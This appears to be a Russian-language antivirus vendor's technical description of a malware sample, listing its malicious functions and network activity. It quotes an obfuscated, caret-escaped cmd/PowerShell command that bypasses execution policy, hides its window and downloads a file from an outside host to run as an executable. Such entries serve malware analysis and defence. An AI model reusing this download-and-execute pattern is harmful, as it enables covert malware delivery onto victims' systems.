Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOWER^sh^ELl.^EXE^ -^EXeCu^tIOnpOL^iCy^ bypAs^S ^-^n^OproF^Ile^ -w^i^nd^owS^T^y^Le ^Hi^Dd^EN^ (nEw-^o^B^jE^C^T ^sYstem.neT.^we^bCl^ient^).^dO^WN^l^OADf^ile('http://www.zoerpol...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOWER^sh^ELl.^EXE^ -^EXeCu^tIOnpOL^iCy^ bypAs^S ^-^n^OproF^Ile^ -w^i^nd^owS^T^y^Le ^Hi^Dd^EN^ (nEw-^o^B^jE^C^T ^sYstem.neT.^we^bCl^ient^).^dO^WN^l^OADf^ile('http://www.zoerpol...' (со скрытым окном)
